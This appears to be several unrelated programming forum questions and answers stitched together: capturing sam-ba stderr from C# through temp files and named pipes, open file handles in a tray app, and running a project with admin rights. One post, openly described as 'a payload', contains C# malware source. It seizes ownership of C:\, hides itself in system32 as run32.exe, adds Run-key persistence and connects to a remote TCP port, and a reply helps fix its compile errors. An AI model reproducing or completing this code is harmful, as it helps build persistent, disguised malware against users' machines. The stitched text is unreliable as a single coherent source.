I'm working with a 3rd party, command-line tool called "sam-ba" v3.5 (available here for free). It's a C++ / QML command line tool that interfaces with a hardware module to read/write data. Output from commands, in most cases, is sent to Standard Error.
I have a C# / .NET application that creates a Process object to execute the sam-ba tool and run commands. Executing the commands works as expected. What doesn't always work is the redirect of the Standard Error output. In some commands, part or all of the output is not received by the C# application. For example, here is the execution of a command using the sam-ba tool directly at the Windows 10 command line:
C:\Temp\Stuff\sam-ba_3.5>sam-ba -p serial:COM5 -d sama5d3 -m version
Error: Cannot open invalid port 'COM5'
Cannot open invalid port 'COM5'
Here is some simple code from a C# application to create a Process object to execute the sam-ba tool with the same command:
Process p = new Process
{
StartInfo = new ProcessStartInfo("sam-ba.exe", "-p serial:COM5 -d sama5d3 -m version")
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
p.Start();
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
Console.WriteLine("Standard Out: " + output);
Console.WriteLine("Standard Error: " + error);
The Output of the C# application:
Standard Out:
Standard Error: Cannot open invalid port 'COM5'
In this simple example, only 1 of the output lines is redirected to Standard Error while the other is not. I've tried many different commands and results are mixed. Sometimes I get everything, sometimes partial output, sometimes no output.
Now ... here's the real issue. The following is a python script (v3.8) that does exactly what the C# application is doing:
import subprocess
import sys
result = subprocess.run("sam-ba.exe -p serial:COM5 -d sama5d3 -m version", capture_output=True, text=True)
print("stdout:", result.stdout)
print("stderr:", result.stderr)
This script always returns the correct output to standard error. BUT ... when I run this script from the C# app to create a chain of C# -> python -> sam-ba, I get the same issue of output missing from the stream.
This has led me to 2 conclusions:
Something in that sam-ba tool is different about the way it is outputting its text. Format, content, ... something. There's an inconsistency going on somewhere in that code
Something is different about the environment created by the C# Process object when executing external applications that doesn't happen when the external application is run directly. Otherwise, why would the python script get all the output when run directly, but not when run through the C# Process object?
It is #2 that has brought me here. I'm looking for any insight on how to diagnose this. Something I'm doing wrong, settings I can try within the Process object, thoughts on how data can go into a stream and not come out on redirect, or if anyone has ever seen something like this before and how they resolved it.
UPDATE
Got a hold of the sam-ba tool's source code. The output the C# app is not capturing is coming from the QML files. They are using this 'print()' method that I can't really find any details on. The output the C# app can capture is being delivered back to the C++ side via signals and then sent to standard error. This feeds back into my conclusion #1 where they have inconsistencies in their code.
Still, this potentially means there is a conflict between C# and QT/QML, which would explain why the Python script gets the QML output, but the C# app does not.
The following uses ShellExecute instead of CreateProcess when running
process. When using ShellExecute one can't re-direct StandardOutput and/or StandardError for Process. To work around this, both StandardOutput and StandardError are re-directed to a temp file, and then the data is read from the temp file--which seems to result in the same output that one sees when running from a cmd window.
Note: In the following code it's necessary to use %windir%\system32\cmd.exe (ex: C:\Windows\system32\cmd.exe) with the /c option. See the usage section below.
Add using statement: using System.Diagnostics;
Then try the following:
public string RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
string result = string.Empty;
string tempFilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "tempSam-ba.txt");
string tempArguments = arguments;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "Error: fqExePath not specified";
}
//redirect both StandardOutput and StandardError to a temp file
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", tempFilename, #"2>&1");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, tempArguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.CreateNoWindow = false;
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
//read output from temp file
//file may still be in use, so try to read it.
//if it is still in use, sleep and try again
if (System.IO.File.Exists(tempFilename))
{
string errMsg = string.Empty;
int count = 0;
do
{
//re-initialize
errMsg = string.Empty;
try
{
result = System.IO.File.ReadAllText(tempFilename);
Debug.WriteLine(result);
}
catch(System.IO.IOException ex)
{
errMsg = ex.Message;
}
catch (Exception ex)
{
errMsg = ex.Message;
}
System.Threading.Thread.Sleep(125);
count += 1; //increment
} while (!String.IsNullOrEmpty(errMsg) && count < 10);
//delete temp file
System.IO.File.Delete(tempFilename);
}
return result;
}
Usage:
RunProcess(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Note: /c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version is the value of the process "Argument" property.
Update:
Option 2:
Here's a solution that uses named pipes. Process is used to redirect the output to a named pipe instead of a file. One creates a named pipe "server" which listens for a connection from a client.Then System.Diagnostics.Process is used to run the desired command and redirect the output to the named pipe server. The "server" reads the output, and then raises event "DataReceived" which will return the data to any subscribers.
The named pipe server code is from here, however I've modified it. I've added numerous events--which can be subscribed to. I've also added the ability for the server to shut itself down after it's finished reading the data by setting "ShutdownWhenOperationComplete" to "true".
Create a class named: HelperNamedPipeServer.cs
HelperNamedPipeServer.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO.Pipes;
using System.IO;
using System.Diagnostics;
using System.Threading;
using System.Security.Principal;
namespace ProcessTest
{
public class HelperNamedPipeServer : IDisposable
{
//delegates
public delegate void EventHandlerClientConnected(object sender, bool e);
public delegate void EventHandlerDataReceived(object sender, string data);
public delegate void EventHandlerOperationCompleted(object sender, bool e);
public delegate void EventHandlerMessageComplete(object sender, bool e);
public delegate void EventHandlerReadComplete(object sender, bool e);
public delegate void EventHandlerServerShutdown(object sender, bool e);
public delegate void EventHandlerServerStarted(object sender, bool e);
//event that subscribers can subscribe to
public event EventHandlerClientConnected ClientConnected;
public event EventHandlerDataReceived DataReceived;
public event EventHandlerMessageComplete MessageReadComplete;
public event EventHandlerOperationCompleted OperationCompleted;
public event EventHandlerReadComplete ReadComplete;
public event EventHandlerServerShutdown ServerShutdown;
public event EventHandlerServerStarted ServerStarted;
public bool IsClientConnected
{
get
{
if (_pipeServer == null)
{
return false;
}
else
{
return _pipeServer.IsConnected;
}
}
}
public string PipeName { get; set; } = string.Empty;
public bool ShutdownWhenOperationComplete { get; set; } = false;
//private int _bufferSize = 4096;
private int _bufferSize = 65535;
//private volatile NamedPipeServerStream _pipeServer = null;
private NamedPipeServerStream _pipeServer = null;
public HelperNamedPipeServer()
{
PipeName = "sam-ba-pipe";
}
public HelperNamedPipeServer(string pipeName)
{
PipeName = pipeName;
}
private NamedPipeServerStream CreateNamedPipeServerStream(string pipeName)
{
//named pipe with security
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); //member of Administrators group
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); //everyone
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null); //member of Users group
//PipeAccessRule rule = new PipeAccessRule(sid, PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);
//PipeSecurity pSec = new PipeSecurity();
//pSec.AddAccessRule(rule);
//named pipe - with specified security
//return new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, _bufferSize, _bufferSize, pSec);
//named pipe - access for everyone
//return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
}
public void Dispose()
{
Shutdown();
}
private void OnClientConnected()
{
LogMsg("OnClientConnected");
//raise event
if (ClientConnected != null)
ClientConnected(this, true);
}
private void OnDataReceived(string data)
{
LogMsg("OnClientConnected");
//raise event
if (DataReceived != null && !String.IsNullOrEmpty(data))
{
if (DataReceived != null)
DataReceived(this, data);
}
}
private void OnMessageReadComplete()
{
LogMsg("OnMessageReadComplete");
//raise event
if (MessageReadComplete != null)
MessageReadComplete(this, true);
}
private void OnOperationCompleted()
{
LogMsg("OnOperationCompleted");
//raise event
if (OperationCompleted != null)
OperationCompleted(this, true);
}
private void OnReadComplete()
{
LogMsg("OnReadComplete");
//raise event
if (ReadComplete != null)
ReadComplete(this, true);
}
private void OnServerShutdown()
{
LogMsg("OnServerShutdown");
//raise event
if (ServerShutdown != null)
ServerShutdown(this, true);
}
private void OnServerStarted()
{
LogMsg("OnServerStarted");
//raise event
if (ServerStarted != null)
ServerStarted(this, true);
}
private async void DoConnectionLoop(IAsyncResult result)
{ //wait for connection, then process the data
if (!result.IsCompleted) return;
if (_pipeServer == null) return;
//IOException = pipe is broken
//ObjectDisposedException = cannot access closed pipe
//OperationCanceledException - read was canceled
//accept client connection
try
{
//client connected - stop waiting for connection
_pipeServer.EndWaitForConnection(result);
OnClientConnected(); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
while (IsClientConnected)
{
if (_pipeServer == null) break;
try
{
// read from client
string clientMessage = await ReadClientMessageAsync(_pipeServer);
OnDataReceived(clientMessage); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
}
//raise event
OnOperationCompleted();
if (!ShutdownWhenOperationComplete)
{
//client disconnected. start listening for clients again
if (_pipeServer != null)
RebuildNamedPipe();
}
else
{
Shutdown();
}
}
private void LogMsg(string msg)
{
//ToDo: log message
string output = String.Format("{0} - {1}", DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"), msg);
//ToDo: uncomment this line, if desired
//Debug.WriteLine(output);
}
private void RebuildNamedPipe()
{
Shutdown();
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
private async Task<string> ReadClientMessageAsync(NamedPipeServerStream stream)
{
byte[] buffer = null;
string clientMsg = string.Empty;
StringBuilder sb = new StringBuilder();
int msgIndex = 0;
int read = 0;
LogMsg("Reading message...");
if (stream.ReadMode == PipeTransmissionMode.Byte)
{
LogMsg("PipeTransmissionMode.Byte");
//byte mode ignores message boundaries
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (read > 0);
//raise event
OnReadComplete();
OnMessageReadComplete();
}
else if (stream.ReadMode == PipeTransmissionMode.Message)
{
LogMsg("PipeTransmissionMode.Message");
do
{
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (!stream.IsMessageComplete);
//raise event
OnMessageReadComplete();
} while (read > 0);
//raise event
OnReadComplete();
LogMsg("message completed");
}
return sb.ToString();
}
private void Shutdown()
{
LogMsg("Shutting down named pipe server");
if (_pipeServer != null)
{
try { _pipeServer.Close(); } catch { }
try { _pipeServer.Dispose(); } catch { }
_pipeServer = null;
}
}
public void StartServer(object obj = null)
{
LogMsg("Info: Starting named pipe server...");
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
public void StopServer()
{
Shutdown();
OnServerShutdown(); //raise event
LogMsg("Info: Server shutdown.");
}
}
}
Next, I've created a "Helper" class that contains the code to start the named pipe server, run the command using Process, and return the data. There are three ways to get the data. It's returned by the method, one can subscribe to the "DataReceived" event, or once the method completes, the data will be in property "Data".
Helper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO.Pipes;
using System.IO;
using System.Threading;
namespace ProcessTest
{
public class Helper : IDisposable
{
public delegate void EventHandlerDataReceived(object sender, string data);
//event that subscribers can subscribe to
public event EventHandlerDataReceived DataReceived;
private StringBuilder _sbData = new StringBuilder();
private HelperNamedPipeServer _helperNamedPipeServer = null;
private bool _namedPipeServerOperationComplete = false;
public string Data { get; private set; } = string.Empty;
public Helper()
{
}
private void OnDataReceived(string data)
{
if (!String.IsNullOrEmpty(data) && DataReceived != null)
{
DataReceived(this, data);
//Debug.Write("Data: " + data);
}
}
public void Dispose()
{
ShutdownNamedPipeServer();
}
public async Task<string> RunSambaNamedPipesAsync(string fqExePath, string arguments, string pipeName = "sam-ba-pipe", string serverName = ".", bool runAsAdministrator = false)
{
string result = string.Empty;
string tempArguments = arguments;
//re-initialize
_namedPipeServerOperationComplete = false;
_sbData = new StringBuilder();
Data = string.Empty;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "fqExePath not specified";
}
//create new instance
_helperNamedPipeServer = new HelperNamedPipeServer(pipeName);
_helperNamedPipeServer.ShutdownWhenOperationComplete = true;
//subscribe to events
_helperNamedPipeServer.DataReceived += HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted += HelperNamedPipeServer_OperationCompleted;
//start named pipe server on it's own thread
Thread t = new Thread(_helperNamedPipeServer.StartServer);
t.Start();
//get pipe name to use with Process
//this is where output from the process
//will be redirected to
string fqNamedPipe = string.Empty;
if (String.IsNullOrEmpty(serverName))
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", serverName, pipeName);
}
else
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", ".", pipeName);
}
//redirect both StandardOutput and StandardError to named pipe
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", fqNamedPipe, #"2>&1");
}
//run Process
RunProcess(fqExePath, tempArguments, runAsAdministrator);
while (!_namedPipeServerOperationComplete)
{
await Task.Delay(125);
}
//set value
Data = _sbData.ToString();
return Data;
}
public void RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
throw new Exception( "Error: fqExePath not specified");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, arguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
}
private void HelperNamedPipeServer_OperationCompleted(object sender, bool e)
{
//Debug.WriteLine("Info: Named pipe server - Operation completed.");
//set value
Data = _sbData.ToString();
//set value
_namedPipeServerOperationComplete = true;
}
private void HelperNamedPipeServer_DataReceived(object sender, string data)
{
Debug.WriteLine("Info: Data received from named pipe server.");
if (!String.IsNullOrEmpty(data))
{
//append
_sbData.Append(data.TrimEnd('\0'));
//send data to subscribers
OnDataReceived(data);
}
}
private void ShutdownNamedPipeServer()
{
Debug.WriteLine("Info: ShutdownNamedPipeServer");
try
{
if (_helperNamedPipeServer != null)
{
//unsubscribe from events
_helperNamedPipeServer.DataReceived -= HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted -= HelperNamedPipeServer_OperationCompleted;
_helperNamedPipeServer.Dispose();
_helperNamedPipeServer = null;
}
}
catch (Exception ex)
{
}
}
}
}
Usage:
private async void btnRunUsingNamedPipes_Click(object sender, EventArgs e)
{
//Button name: btnRunUsingNamedPipes
using (Helper helper = new Helper())
{
//subscribe to event
helper.DataReceived += Helper_DataReceived;
var result = await helper.RunSambaNamedPipesAsync(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Debug.WriteLine("Result: " + result);
//unsubscribe from event
helper.DataReceived -= Helper_DataReceived;
}
}
private void Helper_DataReceived(object sender, string data)
{
//System.Diagnostics.Debug.WriteLine(data);
//RichTextBox name: richTextBoxOutput
if (richTextBoxOutput.InvokeRequired)
{
richTextBoxOutput.Invoke((MethodInvoker)delegate
{
richTextBoxOutput.Text = data;
richTextBoxOutput.Refresh();
});
}
}
Resources:
When do we need to set ProcessStartInfo.UseShellExecute to True?
Redirecting error messages from Command Prompt: STDERR/STDOUT
PipeTransmissionMode.Message: How do .NET named pipes distinguish between messages?
WellKnownSidType Enum
Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.
I launch a program located on one of my file servers. After launching the program it shows as an Open file in Computer Management.
Is there a way I can close this open file while my program runs so it doesn't show up in Computer Management?
My code is below. I'd be happy to take suggestions on improving my program, but I'm really just looking for a solution to stop all these Open Files from appearing.
Program.cs -- starts the program, handles logic to launch my application
using System;
using System.Windows.Forms;
using System.Diagnostics;
namespace IT_TaskbarApp
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
string programName = "TEG System Helper";
//Process[] proc = Process.GetProcessesByName(programName);
if (Process.GetProcessesByName(programName).Length == 1)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Primary());
}
else
{
foreach (Process p in Process.GetProcessesByName(programName))
{
if (Process.GetCurrentProcess().Id != p.Id)
{
p.CloseMainWindow();
p.Close();
p.Kill();
p.Dispose();
}
}
Main();
}
}
}
}
Primary.cs -- creates an icon in the system icons which I can use to send notifications and easily access utilities within our organization
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;
namespace IT_TaskbarApp
{
public partial class Primary : Form
{
private NotifyIcon notifyIcon;
private ContextMenu contextMenu;
private MenuItem[] menuItem = new MenuItem[8];
private IContainer components;
//private Boolean SendNotices = true;
private DateTime startTime = DateTime.Now;
private DateTime currentTime;
private Icon tegroupIcon = new Icon(Assembly.GetExecutingAssembly().GetManifestResourceStream("IT_TaskbarApp.Src.tegroup.ico"));
private string prevNotification = "";
private bool isRunning = true;
private BackgroundWorker bgNotify = new BackgroundWorker();
private const string programName = "TEG System Helper";
public Primary()
{
this.FormClosing += Primary_FormClosing; //remove ghost icon in taskbar
ForeColor = Color.Blue;
BackColor = Color.Green;
components = new Container();
contextMenu = new ContextMenu();
for (int i = 0; i < menuItem.Length; i++)
{
menuItem[i] = new MenuItem();
menuItem[i].Index = i;
menuItem[i].Click += new EventHandler(LoadProcess);
}
menuItem[0].Text = programName;
menuItem[1].Text = "Knowledge Base";
menuItem[2].Text = "Policies";
menuItem[3].Text = "Feedback";
menuItem[4].Text = "Global Shop Search";
menuItem[5].Text = "-";
menuItem[6].Text = "Submit Ticket";
menuItem[7].Text = "Send Email";
//initialize contextMenu
contextMenu.MenuItems.AddRange(menuItem);
// Create the NotifyIcon.
notifyIcon = new NotifyIcon(components)
{
Icon = tegroupIcon,
BalloonTipIcon = new ToolTipIcon(),
ContextMenu = contextMenu, //the menu when right clicked
Text = programName,
Visible = true,
BalloonTipTitle = programName,
};
notifyIcon.DoubleClick += new EventHandler(Icon_DoubleClick);
InitializeComponent();
bgNotify.WorkerSupportsCancellation = true;
bgNotify.WorkerReportsProgress = true;
bgNotify.DoWork += NotifyUser;
bgNotify.ProgressChanged += SendNotice;
//bgNotify.RunWorkerCompleted += BgNotify_RunWorkerCompleted; //enable this to perform an action when the thread dies
bgNotify.RunWorkerAsync();
//Thread tNotify = new Thread();
}
#region SupportedFunctions
private void NotifyUser(object Sender, EventArgs e)
{
Console.WriteLine("enter");
while (isRunning)
{
currentTime = DateTime.Now;
#region DisplayCurrentTime
if (currentTime.Hour < 10 || currentTime.Minute < 10)
{
if (currentTime.Hour < 10)
{
if (currentTime.Minute < 10)
{
Console.WriteLine("0{0}:0{1}", currentTime.Hour, currentTime.Minute);
}
else
{
Console.WriteLine("0{0}:{1}", currentTime.Hour, currentTime.Minute);
}
}
else
{
if (currentTime.Minute < 10)
{
Console.WriteLine("{0}:0{1}", currentTime.Hour, currentTime.Minute);
}
}
}
else
{
Console.WriteLine("{0}:{1}", currentTime.Hour, currentTime.Minute);
}
#endregion
FileStream fs = new FileStream("\\\\te-admin\\public\\TaskbarNotices.txt", FileMode.Open);
StreamReader sr = new StreamReader(fs);
string noticeText = sr.ReadToEnd();
sr.Close();
fs.Close();
if (noticeText != "" && noticeText != prevNotification)
{
prevNotification = noticeText;
bgNotify.ReportProgress(1);
}
else
{
bgNotify.ReportProgress(2);
}
Console.WriteLine("Inner Text: {0} TOF: {1}", noticeText, noticeText != "");
Thread.Sleep(10000);
}
}
private void SendNotice(object Sender, ProgressChangedEventArgs e)
{
if (e.ProgressPercentage == 1)
{
Console.WriteLine("notification sent");
this.notifyIcon.BalloonTipText = prevNotification;
this.notifyIcon.ShowBalloonTip(1500);
}
}
private void LoadProcess(object Sender, EventArgs e)
{
if (Sender is MenuItem)
{
MenuItem tempMenu = Sender as MenuItem;
string ProgramTag = "http://";
switch (tempMenu.Index)
{
case 0: //home page
ProgramTag += "teg";
break;
case 1: //docviewer
ProgramTag += "teg/docViewer";
break;
case 2: //policies
ProgramTag += "teg/Policies";
break;
case 3: //feedback
ProgramTag += "teg/Feedback";
break;
case 4: //inventory search
ProgramTag = "http://searchglobalshop/inventory/index.aspx";
break;
case 6: //submit ticket
ProgramTag = "https://timberlandgroup.on.spiceworks.com/portal/tickets";
break;
case 7: //send email
string sendto = "admin#tewinch.com";
string emailSubject = "Assistance Request";
string emailBody = "";
string mailto = string.Format("mailto:{0}?Subject={1}&Body={2}", sendto, emailSubject, emailBody);
ProgramTag = Uri.EscapeUriString(mailto);
break;
}
/*
Try to launch the choice the user made with the default processing method.
Should the default method fail we try to control how the process is run.
We open internet explorer and then we show them what to do otherwise.
*/
#region LaunchSelectedProcess
try
{
if (ProgramTag != "" && ProgramTag != "http://")
Process.Start(ProgramTag);
}
catch (System.ComponentModel.Win32Exception)
{
try
{
if (ProgramTag.StartsWith("http://") || ProgramTag.StartsWith("https://"))
Process.Start("iexplore.exe", ProgramTag);
}
catch (System.ComponentModel.Win32Exception)
{
Process.Start("control.exe", "/name Microsoft.DefaultPrograms");
string message = "";
if (tempMenu.Index <= 6)
{
message = "You must have a default browser set\n\tClick [Set Default Program]\n";
if (Environment.OSVersion.ToString().Contains("NT 10.")) //windows 10
{
message += "\tUnder [Web Browser] Edge is currently set as default\n\tClick on Microsoft Edge\n\tSelect the browser you use";
}
else //windows 7 -- "NT 6.1")
{
message += "Select the browser you use\n\tClick [Set this program as default]";
}
}
else
{
if (Environment.OSVersion.ToString().Contains("NT 10.")) //windows 10
{
message += "Please setup a default email application";
}
}
message += "\n\nIf this issue persists please contact your Administrator.\nPhone: 519-537-6262\nEmail: admin#tewinch.com";
MessageBox.Show(message, "Application Warning", MessageBoxButtons.OK, MessageBoxIcon.Information);
//if ( == DialogResult.OK)
}
}
#endregion
}
}
private void Icon_DoubleClick(object Sender, EventArgs e)
{
Process.Start("http://teg");
}
#endregion
#region BuiltFunctions
private void Primary_FormClosing(object sender, FormClosingEventArgs e)
{
notifyIcon.Icon = null;
notifyIcon.Dispose();
isRunning = false;
Dispose(true);
}
private void InitializeComponent()
{
this.SuspendLayout();
//
// Primary
//
this.Icon = tegroupIcon;
this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None;
this.CausesValidation = false;
this.ClientSize = new System.Drawing.Size(120, 23);
this.ControlBox = false;
this.Enabled = false;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "Primary";
this.Opacity = 0D;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.ResumeLayout(false);
}
protected override void Dispose(bool disposing)
{
// Clean up any components being used.
if (disposing)
if (components != null)
components.Dispose();
base.Dispose(disposing);
}
#endregion
}
}
Instead of cancelling the program on start up, I kill the other running instances of the program. The idea is that if any issues arise with the program I just launch another instance and resolve the issues. Right now not much can go wrong but we will be developing this program to complete many more tasks in the future.
The only area I can see which would keep a file open is when I pull an Embedded Resource tegroup.ico I was looking to see if I missed something while opening this, but I couldn't see a way to close the ManifestResourceStream after reading it in.
Any tips/suggestions would be wonderful but again, I really just want to know if there's a way I can close these Open Files
Example below
Open File after app launch
I might be trying to solve something which is a known result of using Application.Run() if this is the case then please suggest alternatives I can use. My other ideas would be loading the program into memory and launching it locally, using the .exe on the server as a starting point for this method though.
I believe that Windows doesn't load an entire executable into ram. It isn't just about files from the resource section of a PE file. Portions of the exe are only loaded when referenced and even after loading everything there is to load, Windows will maintain an open file handle until the process closes. Trying to close that handle yourself is a bad idea.
c/c++ allow a "SWAPFILE" flag to be specified that tells windows to put the whole thing into the page file but I don't know how you would do that with c# and I don't know if that would even stop windows from keeping the handle open anyways (I doubt it).
If this is truly important, iffin' I were your exe... I would:
Check a mutex for an existing running instance, exit if exist
Check where I was running from.
If running from temp, set a mutex that I am running and just run.
If not running from temp, copy myself to %temp%, start that copy, and exit.
Good luck.
I have created two projects under the same solution. ProjectA is a Windows Form Application and ProjectB is a simple console application.ProjectB will be executed from ProjectA with admin privileges.
Sample from ProjectA
private void btnFinish_Click(object sender, EventArgs e)
{
ipAddress = txtIP.Text;
bindingPort = txtPort.Text;
if (!fileChosen)
{
CreateCertificate();
//
}
//After this step i want to execute ProjectB with admin provileges with 3 parameters
ExecuteB_AsAdminWithPrivileges(ipAddress, bindingPort, serverCert);
}
}
So when i click the button name Finish i want the ProjectB.exe to be executed with parameters that i will give from ProjectA.
And ProjectB will look sth like:
public static void StoreAndBindCertificate(string pfxFileServerCert, string ipAddress, string ipPort)
{
//
}
